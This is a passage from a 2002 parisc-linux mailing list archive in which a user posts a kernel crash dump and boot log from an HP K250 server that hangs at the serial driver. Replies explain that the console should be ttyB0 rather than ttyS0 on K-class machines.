c560 72778cfa 3c7c630f e4ef19f4 78f8c61e c9de33e8 f1f18c3c 93cad282 e395ad2b
c580 27e31056 c75def05 4fb095fe 8ecd6b59 9f179eae 1dec63e1 3e2f3d5c 3bd8c7c2
c5a0 7c5e7ab8 77b18f84 f8bcf570 ef631f08 f10f5fb2 deb08b43 e2680a36 bd17a3d5
c5c0 c4a6a13e 7a59f2f9 894d427c f4b3e5f2 12ec31aa e9117eb7 25aed606 d254483d
c5e0 4b2b195e a4de2529 962087ee 49caff01 2c410fdc 9395fe02 58f4aaea 275d4957
c600 b1e955d4 4eba92ae 63d2aba8 9d75255c c7d3e202 3a9cffeb 8fa7c404 7539ffd6
c620 1f4f8808 ea73ffac 3ee9a542 d4914a0b 7da5ffd6 a9542145 fb3d4afe 52def7d9
c640 f67a95fc a5bdefb2 ec839eaa 4b0d6a37 d9073d54 961ad46e b278cffa 2c431d8f
c660 64f19ff4 58863b1e c9e33fe8 b10c763c 93b0ca82 626e592b 27619504 c4dcb256
c680 4eb59f5a 89cfd1ff 9d1d8be6 13e916ad 3a3b17cc 27d22d5a 74762f98 4fa45ab4
c6a0 e8ec5f30 9f48b568 d1ae0b32 3ee7df83 a35c1664 7dcfbf06 46b82cc8 fb9f7e0c
c6c0 8d06ecc2 f748494b 1a7b6cd6 eee627c5 34806cfe ddbafad9 69766cae bb0340e1
c6e0 d29a6c0e 76703491 a534d81c ece06922 4a1f056a d9b66717 9448bf86 b31a7b7d
c700 28e7ca5e 664243a9 51cf94bc cc848752 a3e99c2a 997fbbf7 47a58d06 3289c2bd
c720 8f4b1a0c 6513857a 1e963418 ca270af4 3d5add62 9438a0bb 7ac30f96 2807f425
c740 f5861f2c 500fe84a eb0c3e58 a01fd094 d66ec9e2 4049147b acdd93c4 809228f6
c760 59cd92da 0152e4bf b39b25b4 02a5c97e 67364b68 054b92fc ce6c96d0 0a9725f8
c780 9cd92da0 152e4bf0 39b25b40 2a5c97e0 7364b680 54b92fc0 e6c96d00 a9725f80
c7a0 cde46f52 52920a53 9bc8dea4 a52414a6 37e7081a 4a3e9c1f 6fce1034 947d383e
c7c0 dfea953a 288cc52f bfd52a74 51198a5e 7faa54e8 a23314bc ff221c82 44109c2b
c7e0 fe443904 88213856 fcfec75a 1034c5ff f9fd8eb4 20698bfe f3fb1d68 40d317fc
c800 e7f63ad0 81a62ff8 cf9ac0f2 033aeaa3 9f3581e4 0675d546 3e6b03c8 0cebaa8c
c820 7cd60790 19d75518 f9ac0f20 33aeaa30 f3581e40 675d5460 e6b03c80 cebaa8c0
c840 cd16cc52 9d03e4d3 9a5b2df6 3a717cf5 34b65bec 74e2f9ea 696cb7d8 e9c5f3d4
c860 d2afdae2 d3fd52fb a5290096 a78c10a5 4a24b47e 4f6e9419 944968fc 9edd2832
c880 28e464aa 3dcce537 51c8c954 7b99ca6e a39192a8 f73394dc 47559002 ee119ceb
c8a0 8edd9556 dc558c85 1dcd9ffe b8ddac59 3bed8aae 71cdede1 77db155c e39bdbc2
c8c0 efc09fea c74102d7 dff78a86 8ef4b0fd bf99a05e 1d9fd4a9 7f3340bc 3b3fa952
c8e0 fe668178 767f52a4 fccd02f0 ecfea548 f9ecb0b2 d98bffc3 f3afd436 b3614ad5
c900 e7291d3e 66b420f9 ce523a7c cd6841f2 9cd2c1aa 9aa636b7 39d33606 353ad83d
c920 73a66c0c 6a75b07a e74cd818 d4eb60f4 ceef0562 a9a074bb 9da8bf96 53365c25
c940 3b517f2c a66cb84a 76d44b0a 4cafc5c7 eda89614 995f8b8e db27997a 32c9a24f
c960 b64f32f4 6593449e 6c9e65e8 cb26893c d94a7e82 963ba72b b2e24856 2c01fb05
c980 65c490ac 5803f60a cb892158 b007ec14 9764f7e2 60796d7b 2ec9efc4 c0f2daf6
c9a0 5de56ada 819300bf bbbc60e6 0350b42d 7778c1cc 06a1685a eef18398 0d42d0b4
c9c0 dde30730 1a85a168 bbc60e60 350b42d0 778c1cc0 6a1685a0 ef183980 d42d0b40
c9e0 de46c652 a82ca3d3 bcfb39f6 502ff2f5 79f673ec a05fe5ea f39a528a 40c97e87
ca00 e734a514 8192fd0e ce1fff7a 03534f4f 9c3ffef4 06a69e9e 387ffde8 0d4d3d3c
ca20 70fffbd0 1a9a7a78 e1fff7a0 3534f4f0 c3ffef40 6a69e9e0 87ffde80 d4d3d3c0
ca40 0f890852 a9d112d3 1f64a5f6 53d490f5 3ec94bec a7a921ea 7de4228a 4f24f687
ca60 fbc84514 9e49ed0e f7e63f7a 3ce56f4f efcc7ef4 79cade9e df98fde8 f395bd3c
ca80 bf474e82 e75dcf2b 7ef82856 cecd2b05 fd86e5fe 9dece359 fb7b7eae 3baf73e1
caa0 f6f6fd5c 775ee7c2 ededfab8 eebdcf84 dbad4022 dd0d2a5b b72c3516 ba6ce1e5
cac0 6e2edf7e 74af7699 dc5dbefc e95eed32 b8cdc8aa d2cb6f37 71ed2406 a5e06b3d
cae0 e3acfd5e 4bb66329 c759fabc 976cc652 8ec5402a 2eaf39f7 1d8a8054 5d5e73ee
cb00 3b1500a8 babce7dc 765cb402 750f7aeb ecb96804 ea1ef5d6 d904655a d44b5eff
cb20 b27e7fe6 a8e008ad 648a4a9e 51b6a409 c914953c a36d4812 925f9f2a 46ac2577
cb40 24bf3e54 8d584aee 4908c9fa 1ac6208f 921193f4 358c411e 242327e8 6b18823c
cb60 48464fd0 d6310478 90fa2af2 ac14bda3 2182e0b6 585fce15 4305c16c b0bf9c2a
cb80 867d378a 61098d07 0cfa6f14 c2131a0e 19826b7a 8450814f 337263a6 08d7b7cd
cba0 66e4c74c 11af6f9a cdc98e98 235edf34 9b931d30 46bdbe68 37263a60 8d7b7cd0
cbc0 6e3ac192 1a804cf3 dc758324 350099e6 b8eb0648 6a0133cc 71d60c90 d4026798
cbe0 e3daac72 a8727a63 c7c3edb6 50924195 8f87db6c a124832a 1f79038a 423fb307
cc00 3ef20714 847f660e 7d92bb7a 0888794f fb2576f4 1110f29e f64aede8 2221e53c
cc20 ec95dbd0 4443ca78 d92bb7a0 888794f0 b221da12 11799cb3 6443b424 22f33966
cc40 c8876848 45e672cc 910ed090 8bcce598 226b1472 17ef7e63 44d628e4 2fdefcc6
cc60 89ac51c8 5fbdf98c 1358a390 bf7bf318 26c7f272 7e815363 4d8fe4e4 fd02a6c6
cc80 9b697c9a fa73f8df 36a44c66 f49144ed 6d3e2d9e e9543c89 da0aee6e d2decc41
cca0 b463698e a5cb2dd1 68b0664e 4be0eef1 d160cc9c 97c1dde2 a2b72c6a 2ff50e97
ccc0 456e58d4 5fea1d2e 8adcb1a8 bfd43a5c 15cfd602 7fdec1eb 2b9fac04 ffbd83d6
cce0 5749ed5a ff0db2ff aee56fe6 fe6dd0ad 5dbc6a9e fcad1409 bb0e606e f92c9d41
cd00 766a758e f22f8fd1 eca25e4e e429aaf1 d93209ce c825e0b1 b212a6ce 903d7431
cd20 6453f8ce 200c5d31 c8a7f19c 4018ba62 914fe338 803174c4 22e97322 00145cdb
cd40 45d2e644 0028b9b6 8ba5cc88 0051736c 174b9910 00a2e6d8 2e973220 0145cdb0
cd60 5d2e6440 028b9b60 ba5cc880 051736c0 74b99100 0a2e6d80 e9732200 145cdb00
cd80 d2e64400 28b9b600 a5cc8800 51736c00 4b991000 a2e6d800 97449552 45bb0553
cda0 2e892aa4 8b760aa6 5d64e01a 169aa01f bac9c034 2d35403e 75938068 5a6a807c
cdc0 eb2700d0 b4d500f8 d638b4f2 69dcb4a3 ac7169e4 d3b96946 5894669a a70467df
cde0 b15e7866 4e7e7aed 62bcf0cc 9cfcf5da c50f54ca 398f5ee7 8a1ea994 731ebdce
ce00 143d5328 e63d7b9c 280c1302 cc0c426b 506e9356 986e3185 a0ab93fe 30aad659
ce20 415727fc 6155acb2 82ae4ff8 c2ab5964 052a2aa2 8520079b 0a22e016 0a36ba65
ce40 1445c02c 146d74ca 288b8058 28dae994 511700b0 51b5d328 a22e0160 a36ba650
ce60 442ab792 46a1f9f3 88556f24 8d43f3e6 10dc6b1a 1af1529f 21b8d634 35e2a53e
ce80 4371ac68 6bc54a7c 86e358d0 d78a94f8 0db004f2 af639ca3 1b16bcb6 5eb18c15
cea0 362d796c bd63182a 6c2c478a 7ab08507 d8588f14 f5610a0e b0c7ab7a eab4a14f
cec0 61f9e3a6 d51ff7cd c385721e aa495ac9 877c516e 54e400c1 0ef8a2dc a9c80182
cee0 1d87f0ea 53e6b657 3b0fe1d4 a7cd6cae 766976fa 4fec6c0f ecd2edf4 9fd8d81e
cf00 d9d36eba 3fc7056f b3a6dd74 7f8e0ade 674dbae8 ff1c15bc ceedc082 fe4e9e2b
cf20 9dad3456 fceb8905 3b2cddfe f9a1a759 762f0eae f335fbe1 ec28a80e e61d4291
cf40 d827e54e cc4c3071 b0397fce 98eed5b1 60044ace 31ab1e31 c008959c 63563c62
cf60 80112b38 c6ac78c4 0054e322 8d2e44db 00df7316 1a2a3ce5 01bee62c 345479ca
cf80 037dcc58 68a8f394 06fb98b0 d151e728 0d818432 a2d57b03 1b75bd36 45dc4355
cfa0 36eb7a6c 8bb886aa 6da0418a 1707b807 db408314 2e0f700e b6810628 5c1ee01c
cfc0 6d020c50 b83dc038 da72adf2 700d3523 b4e55be4 e01a6a46 69bc029a c04261df
cfe0 d30eb066 80f276ed a66bd59e 01925889 4cd7ab3c 0324b112 99af5678 06496224
d000 335eacf0 0c92c448 66bd59e0 19258890 cd7ab3c0 324b1120 9af56780 64962240
d020 35eacf00 c92c4480 6ba32b52 922e3c53 d730e3f6 242acdf5 ae61c7ec 48559bea
d040 5cc38fd8 90ab37d4 b9f1aae2 2120dafb 73e355c4 4241b5f6 e7c6ab88 84836bec
d060 cffbe242 0970628b 9ff7c484 12e0c516 3fef8908 25c18a2c 7fdf1210 4b831458
d080 ffbe2420 970628b0 ff0afd12 2e7ae433 fe15fa24 5cf5c866 fc2bf448 b9eb90cc
d0a0 f8215dc2 73a194cb f042bb84 e7432996 e0f3c25a cef0e67f c19131e6 9d9779ad
d0c0 8354d69e 3b584609 06a9ad3c 76b08c12 0d535a78 ed611824 1ad001a2 dab4851b
d0e0 35d6b616 b51fbf65 6bdbd97e 6a49cb99 d7b7b2fc d4939732 af19d0aa a9519b37
d100 5e451406 52d5833d bc8a280c a5ab067a 7962e54a 4b20b9a7 f2c5ca94 9641734e
d120 e5fd207a 2cf453cf cbfa40f4 59e8a79e 97f481e8 b3d14f3c 2f9fb682 67d42b2b
d140 5f3f6d04 cfa85656 be086f5a 9f2619ff 7c666be6 3e3a86ad f8ccd7cc 7c750d5a
d160 f199af98 f8ea1ab4 e345ea62 f1a2803b c6fd6196 e333b525 8d8c767e c611df19
d180 1b6e59ae 8c550b61 36aa060e 18dca391 6d540c1c 31b94722 daa81838 63728e44
d1a0 b5503070 c6e51c88 6ad6d5b2 8dbc8c43 d5db1e36 1b0fadd5 abb63c6c 361f5baa
d1c0 576c78d8 6c3eb754 aed8f1b0 d87d6ea8 5dc75632 b08c6803 bbf81936 616e6555
d1e0 77f0326c c2dccaaa ef96d18a 85cf2007 df5b1646 0be8f55d beb62c8c 17d1eaba
d200 7d6c5918 2fa3d574 fad8b230 5f47aae8 f5b16460 be8f55d0 eb147d92 7d681ef3
d220 d628fb24 fad03de6 ac27431a f5d6ce9f 58383366 ebdb286d b006d39e d7c0e589
d240 607b126e aff77e41 c080918e 5f9849d1 8101231c bf3093a2 0274f36a 7e179217
d260 04e9e6d4 fc2f242e 09a578fa f828fd0f 133c44a6 f0274f4d 260e3c1e e0382bc9
d280 4c6acd6e c006e2c1 98a32f8e 807b70d1 3130ea4e 008054f1 6261d49c 0100a9e2
d2a0 c4c3a938 020153c4 89875270 0402a788 130ea4e0 08054f10 261d49c0 100a9e20
d2a0 c4c3a938 020153c4 89875270 0402a788 130ea4e0 08054f10 261d49c0 100a9e20
d2c0 4c3a9380 20153c40 98752700 402a7880 30ea4e00 8054f100 61a22952 00df5753
d2e0 c34452a4 01beaea6 8688a548 037d5d4c 0d114a90 06faba98 1a229520 0df57530
d300 34452a40 1beaea60 688a5480 37d5d4c0 d114a900 6faba980 a2295200 df575300
d320 44241152 bed81353 883e97f6 7dc693f5 107d2fec fb8d27ea 208cea8a f76cfa87
d340 416f6046 eeaf405d 82a875de dd2835e9 05265eee ba26de81 0a3a088e 743b0851
d360 1474111c e87610a2 289e976a d09a9417 514b9b86 a1439d7d a2e1825e 42f18fa9
d380 45c304bc 85e31f52 8bf0bc2a 0bb08bf7 17e17854 176117ee 2fc2f0a8 2ec22fdc
d3a0 5f85e150 5d845fb8 bf0bc2a0 bb08bf70 7e613012 7667cbb3 fcc26024 eccf9766
d3c0 f9f2751a d9e99b9f f3925f66 b3a5826d e7520b9e 673db189 cea4173c ce7b6312
d3e0 9d3e9b2a 9c807377 3a0b8306 397653bd 7417060c 72eca77a e82e0c18 e5d94ef4
d400 d02aad62 cbc428bb a023ef96 97fee425 40316a7e 2f8b7d19 8062d4fc 5f16fa32
d420 00c5a9f8 be2df464 01fde6a2 7c2d5d9b 03fbcd44 f85abb36 07812fda f0c3c33f
d440 0f74eae6 e1f1332d 1e9f609e c394d309 3d48746e 875f1341 7ae65d8e 0ec893d1
d460 f5ccbb1c 1d9127a2 eb997638 3b224f44 d732ec70 76449e88 ae65d8e0 ec893d10
d480 5cbd0492 d964cf73 b90cbc76 b2bf2bb5 726fcdbe 6508e239 e4df9b7c ca11c472
d4a0 c9c983aa 94553db7 93e5b206 28dcce3d 27cb640c 51b99c7a 4f96c818 a37338f4

Kernel Fault: Code=3D15 regs=3D1031d4c0 (Addr=3D40000004)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001000000000000001110 Not tainted
r00-03  00000000 1032d810 1010479c 40000000
r04-07  102db000 40000000 400001c0 00108024
r08-11  00000000 00000000 fffa0000 1032d810
r12-15  000000f2 000000fa 000000fd f0100000
r16-19  1031d080 f0000124 f000011c 00000000
r20-23  1032d810 00001a31 00000000 000003a8
r24-27  00000001 00000001 1032db40 1031a010
r28-31  00000030 ffffffff 1031d4c0 00000040
sr0-3   00000000 00000000 00000000 00000000
sr4-7   00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 10104168 1010416c
 IIR: 0c681097    ISR: 00000000  IOR: 40000004
 CPU:        0   CR30: 2fff8000 CR31: 103d8000
 ORIG_R28: f1900000



But with vmlinux64 instead:


Command line for kernel: 'ramdisk_size=3D8192 root=3D/dev/ram console=3Dtty=
S0
                         TERM=3Dvt102 palo_kernel=3D0/vmlinux64'
Selected kernel: /vmlinux64 from partition 0
Selected ramdisk: /ramdisk from partition 0
ELF64 executable
Entry 00100000 first 00100000 n 3
Segment 0 load 00100000 size 2845920 mediaptr 0x1000
Segment 1 load 003b8000 size 1321912 mediaptr 0x2b8000
Segment 2 load 004fc000 size 49152 mediaptr 0x3fb000
Loading ramdisk 2662244 bytes @ 1fd63000...
Branching to kernel entry point 0x00100000.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org

Linux version 2.4.19-64 (root@mkhppa3) (gcc version 3.0) #1 Sun Sep 22 16:1=
5:57 CEST 2002
FP[0] enabled: Rev 0 Model 14
The 64-bit Kernel has started...
Determining PDC firmware type: System Map.
model 00005a40 00000491 00000000 00000002 575b550e 100000f0 00000008 000000=
b2 000000b2
vers  00000205
CPUID vers 14 rev 9 (0x000001c9)
capabilities 0x3
model 9000/802/K250
Total Memory: 511 Mb
initrd: 2fd63000-2ffecf64
initrd: reserving 1fd63000-1ffecf64 (mem_max 1fffe000)
pagetable_init
On node 0 totalpages: 131070
zone(0): 131070 pages.
zone(1): 0 pages.
zone(2): 0 pages.
Kernel command line: ramdisk_size=3D8192 root=3D/dev/ram console=3DttyS0 TE=
RM=3Dvt102
                     palo_kernel=3D0/vmlinux64
Console: colour dummy device 160x64
Calibrating delay loop... 319.48 BogoMIPS
Memory: 504904k available
Dentry cache hash table entries: 65536 (order: 8, 1048576 bytes)
Inode cache hash table entries: 32768 (order: 7, 524288 bytes)
Mount-cache hash table entries: 8192 (order: 5, 131072 bytes)
Buffer-cache hash table entries: 32768 (order: 6, 262144 bytes)
Page-cache hash table entries: 131072 (order: 8, 1048576 bytes)
Searching for devices...
Found devices:
1. U2-IOA BC Runway Port (12) at 0xfffffffffff88000 [8], versions 0x580, 0x=
f, 0xb
2. U2-IOA BC GSC+ Port (7) at 0xfffffffff103f000 [8/63], versions 0x501, 0x=
1, 0xc
3. U2-IOA BC Runway Port (12) at 0xfffffffffff8a000 [10], versions 0x580, 0=
xf, 0xb
4. Mohawk Core FW-SCSI (4) at 0xfffffffff1800000 [10/0], versions 0x44, 0x0=
, 0x89
5. Gecko BOA BC GSC+ Port (7) at 0xfffffffff1804000 [10/4], versions 0x500,=
 0x0, 0xc
6. Sahp Baat Kiuh AP/MUX (5) at 0xfffffffff1900000 [10/4/0], versions 0x44,=
 0x0, 0xd
7. Interphase NIO-100BaseTX (4) at 0xfffffffff1908000 [10/4/8], versions 0x=
4, 0x0, 0x382
8. Skunk SCSI (28655A) (4) at 0xfffffffff1910000 [10/4/16], versions 0x4, 0=
x0, 0x39
9. Skunk Centronics (28655A) (5) at 0xfffffffff1911000 [10/4/17], versions =
0x4, 0x0, 0x3a
10. Gecko BOA BC HP-PB Port (7) at 0xfffffffff193c000 [10/4/60], versions 0=
x103, 0x0, 0xc
11. Mohawk Core BA (11) at 0xffffffffffd00000 [10/12], versions 0x44, 0x0,
    0x81,  additional addresses: 0xffffffffffd0c000 0xffffffffffc00000
12. Mohawk Core Centronics (10) at 0xffffffffffd02000 [10/12/0], versions 0=
x44,
    0x0, 0x74,  additional addresses: 0xffffffffffd01000 0xffffffffffd03000
13. Mohawk Core SCSI (10) at 0xffffffffffd06000 [10/12/5], versions 0x44, 0=
x0, 0x82
14. Mohawk Core LAN (802.3) (10) at 0xffffffffffd07000 [10/12/6], versions =
0x44, 0x0, 0x8a
15. Mohawk Core PS/2 Port (10) at 0xffffffffffd08000 [10/12/7], versions 0x=
44, 0x0, 0x84
16. Mohawk Core PS/2 Port (10) at 0xffffffffffd08100 [10/12/8], versions 0x=
44, 0x0, 0x84
17. U2-IOA BC GSC+ Port (7) at 0xfffffffff183f000 [10/63], versions 0x501, =
0x1, 0xc
18. Mohawk 160 U 1M DC3- (K250) (0) at 0xfffffffffffa0000 [32], versions 0x=
5a4, 0x0, 0x4
19. Memory (1) at 0xfffffffffffb1000 [49], versions 0x53, 0x0, 0x9
CPU(s): 1 x PA8000 (PCX-U) at 160.000000 MHz
Found U2 at 0xfffffffffff88000
ccio-dma.c: failed to claim CCIO bus address space (ffffffff00000000,ffffff=
ffffffffff)
Found U2 at 0xfffffffffff8a000
Lasi version 0 at 0xffffffffffd00000 found.
LED display at ffffffffffd0c000 registered
POSIX conformance testing by UNIFIX
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
Initializing RT netlink socket
Soft power switch support not available.
Performance monitoring counters enabled for Mohawk 160 U 1M DC3- (K250)
Starting kswapd
Journalled Block Device driver loaded
Installing knfsd (copyright (C) 1996 okir@monad.swb.de).
parport_init_chip: enhanced parport-modes not supported.
parport0: PC-style at 0xffffffffffd02800, irq 184 [PCSPP]
STI GSC/PCI graphics driver version 0.9
pty: 256 Unix98 ptys configured
Serial driver version 5.05c (2001-07-08) with MANY_PORTS SHARE_IRQ SERIAL_P=
CI enabled
WARNING! Stack pointer and cr30 do not correspond!
Dumping virtual address stack instead

Dumping Stack from 0x000000003fff0000 to 0x000000003fff0d80:
WARNING! Stack pointer and cr30 do not correspond!
Dumping virtual address stack instead

Dumping Stack from 0x000000003fff0000 to 0x000000003fff1440:
Dumping Stack from 0x000000003fff0000 to 0x000000003fff1b00:
Dumping Stack from 0x000000003fff0000 to 0x000000003fff21c0:
Dumping Stack from 0x000000003fff0000 to 0x000000003fff2880:
Dumping Stack from 0x000000003fff0000 to 0x000000003fff2f40:
Dumping Stack from 0x000000003fff0000 to 0x000000003fff3600:
Dumping Stack from 0x000000003fff0000 to 0x000000003fff3cc0:
Dumping Stack from 0x000000003fff0000 to 0x000000003fff4380:
Dumping Stack from 0x000000003fff0000 to 0x000000003fff4a40:
Dumping Stack from 0x000000003fff0000 to 0x000000003fff5100:
Dumping Stack from 0x000000003fff0000 to 0x000000003fff57c0:
Dumping Stack from 0x000000003fff0000 to 0x000000003fff5e80:
Dumping Stack from 0x000000003fff0000 to 0x000000003fff6540:
Dumping Stack from 0x000000003fff0000 to 0x000000003fff6c00:
Dumping Stack from 0x000000003fff0000 to 0x000000003fff72c0:
Dumping Stack from 0x000000003fff0000 to 0x000000003fff7980:
Dumping Stack from 0x000000003fff8000 to 0x000000003fff8040:
Dumping Stack from 0x000000003fff8000 to 0x000000003fff8700:
Dumping Stack from 0x000000003fff8000 to 0x000000003fff8dc0:
Dumping Stack from 0x000000003fff8000 to 0x000000003fff9480:
Dumping Stack from 0x000000003fff8000 to 0x000000003fff9b40:
Dumping Stack from 0x000000003fff8000 to 0x000000003fffa200:
Dumping Stack from 0x000000003fff8000 to 0x000000003fffa8c0:
Dumping Stack from 0x000000003fff8000 to 0x000000003fffaf80:
Dumping Stack from 0x000000003fff8000 to 0x000000003fffb640:
Dumping Stack from 0x000000003fff8000 to 0x000000003fffbd00:
Dumping Stack from 0x000000003fff8000 to 0x000000003fffc3c0:
Dumping Stack from 0x000000003fff8000 to 0x000000003fffca80:
WARNING! Stack pointer and cr30 do not correspond!
Dumping virtual address stack instead

Dumping Stack from 0x000000003fff8000 to 0x000000003fffd140:
2D10L
fLT  CBF0C1D2D10L
FLT  5002C1D2D10L
FLT  7D03C1D2D10L
FLT  5408C1D2D10L
FLT  5508C1D2D10L
FLT  CBF4C1D2D10L
FLT  CBFCC1D2D10L
FLT  CBF0C1D2D10L
FLT  5002C1D2D10L
FLT  7D03C1D2D10L

(loops forever)


The stack dumps are similar with the other images.

Any ideas..? :=3D)

--=20
Stian S=F8iland               Work toward win-win situation. Win-lose
ITEA systemdrift            is where you win and the other lose.
http://www.stud.ntnu.no/    Lose-lose and lose-win are left as an
                            exercise to the reader.  [Limoncelli/Hogan]


From - Thu Nov 08 21:24:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 9000/802/K250 won't boot with images -
	serial/stack problem?
Date: 30 Sep 2002 14:19:51 -0600
Lines: 21
Approved: news@gmane.org
Message-ID: <1033417191.31126.4.camel@beavis>
References: <20020930200805.GA9133@itea.ntnu.no>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621784 14961 80.91.229.3 (22 Nov 2014 02:03:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:04 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Stian Soiland <stain@itea.ntnu.no>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 30 14:19:54 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (bradetich.net [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3DA014829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 30 Sep 2002 14:19:54 -0600 (MDT)
Original-Received: from localhost.localdomain (beavis.ybsoft.com [10.0.0.2])
	by beavis.ybsoft.com (Postfix) with ESMTP
	id 5FD422E3EB; Mon, 30 Sep 2002 14:19:51 -0600 (MDT)
In-Reply-To: <20020930200805.GA9133@itea.ntnu.no>
X-Mailer: Ximian Evolution 1.0.8 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16342

> The serial console is connected to 'CONSOLE (X/4/0/0)*', 

This is good, see .. we even find the device :)
> 6. Sahp Baat Kiuh AP/MUX (5) at 0xf1900000 [10/4/0], versions 0x44,
0x0, 0xd

> Command line for kernel: 'ramdisk_size=8192 root=/dev/ram console=ttyS0
Oops... this is bad.  The K class systems do not have a 16550 compatible
serial port.  The console should be ttyB0.
For mor info on the console, see Matthew's excellent description of what
systems use the Serial Mux driver.

http://lists.parisc-linux.org/pipermail/parisc-linux/2002-September/017837.html


Thanks,

- Ryan




From - Thu Nov 08 21:24:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 9000/802/K250 won't boot with images - serial/stack problem?
Date: Mon, 30 Sep 2002 21:39:12 +0100
Lines: 11
Approved: news@gmane.org
Message-ID: <20020930213912.S18377@parcelfarce.linux.theplanet.co.uk>
References: <20020930200805.GA9133@itea.ntnu.no> <1033417191.31126.4.camel@beavis>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621785 14966 80.91.229.3 (22 Nov 2014 02:03:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:05 +0000 (UTC)
Cc: Stian Soiland <stain@itea.ntnu.no>,
	parisc-linux@lists.parisc-linux.org
To: Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 30 14:39:16 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 27C7A4829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 30 Sep 2002 14:39:16 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17w7Jw-0003XK-00; Mon, 30 Sep 2002 21:39:12 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <1033417191.31126.4.camel@beavis>; from rbradetich@uswest.net on Mon, Sep 30, 2002 at 02:19:51PM -0600
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16343

On Mon, Sep 30, 2002 at 02:19:51PM -0600, Ryan Bradetich wrote:
> For mor info on the console, see Matthew's excellent description of what
> systems use the Serial Mux driver.
> 
> http://lists.parisc-linux.org/pipermail/parisc-linux/2002-September/017837.html

FWIW, the hwdb is now updated to reflect this.  Thanks, Thibaut!

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:24:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stian Soiland <stain@itea.ntnu.no>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 9000/802/K250 won't boot with images - serial/stack problem?
Date: Mon, 30 Sep 2002 22:45:59 +0200
Lines: 50
Approved: news@gmane.org
Message-ID: <20020930204559.GB9133@itea.ntnu.no>
References: <20020930200805.GA9133@itea.ntnu.no> <1033417191.31126.4.camel@beavis>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621785 14970 80.91.229.3 (22 Nov 2014 02:03:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:05 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 30 14:46:03 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
